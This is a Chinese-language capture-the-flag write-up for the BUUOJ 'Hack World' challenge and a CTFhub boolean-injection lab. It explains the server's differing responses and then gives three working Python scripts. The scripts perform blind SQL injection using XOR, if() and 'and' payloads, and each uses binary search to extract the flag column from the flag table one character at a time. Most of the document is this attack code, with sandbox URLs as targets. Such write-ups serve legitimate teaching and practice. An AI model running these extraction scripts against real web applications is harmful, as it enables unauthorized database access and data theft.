Hack World
題目直接告訴你flag在flag表中的flag列
只有一個提交框，正常方法無法注入，已經過濾大部分的sql語句。

接觸python指令碼：
提交框中
輸入 1 將返回Hello, glzjin wants a girlfriend.
輸入 2 將返回Do you want to be my girlfriend?
輸入其他 數字 將返回Error Occured When Fetch Result.
輸入其他 字串 將返回bool(false)
利用不同提交資料，返回不同的結果，可以爆破出flag。

思路一，利用^異或符號：
#二分法查詢
import requests
import time
url = 'http://9c33cf54-5425-4dc5-8c88-7f5962396e6f.node3.buuoj.cn/index.php'
result = ''
 
for x in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2     #結果向下取整
    while high>low:
        payload = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(x,mid)    #格式化函式代入x,mid
        data = {"id":payload}
        html = requests.post(url,data=data).text     #抓取頁面元素
        time.sleep(0.5)
        if "Hello" in html:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))     #型別轉換，int通過chr返回當前數值對應ascii碼值的字元
    print(result)
print("flag:",result) 
 

思路二：利用if(a,1,2)若a為true返回1，flase返回2。
import requests
import time
url = 'http://9c33cf54-5425-4dc5-8c88-7f5962396e6f.node3.buuoj.cn/index.php'
result = ''
 
for x in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2     #結果向下取整
    while high>low:
        payload = "if((ascii(substr((select(flag)from(flag)),{0},1))>{1}),1,2)".format(x,mid)    #格式化函式代入x,mid
        data = {"id":payload}
        html = requests.post(url,data=data).text     #抓取頁面元素
        time.sleep(0.5)
        if "Hello" in html:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))     #型別轉換，int通過chr返回當前數值對應ascii碼值的字元
    print(result)
print("flag:",result) 
 

CTFhub布林注入
大體思路與指令碼程式碼與上文接近，但注意構建request.post或者request.get提交表單時，post為(url,data=data),而get為(url,params=data)

import requests
import time
url = 'http://challenge-91f8c346e462eece.sandbox.ctfhub.com:10080/'
result = ''

for i in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2
    while high>low:
        payload = '1 and (select ascii(substr((flag),{0},1)) from flag)>{1}'.format(i,mid)
        data = {"id":payload}
        html = requests.get(url,params=data).text
        time.sleep(0.3)
        if "query_success" in html:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))
    
    print(result)
print("done!")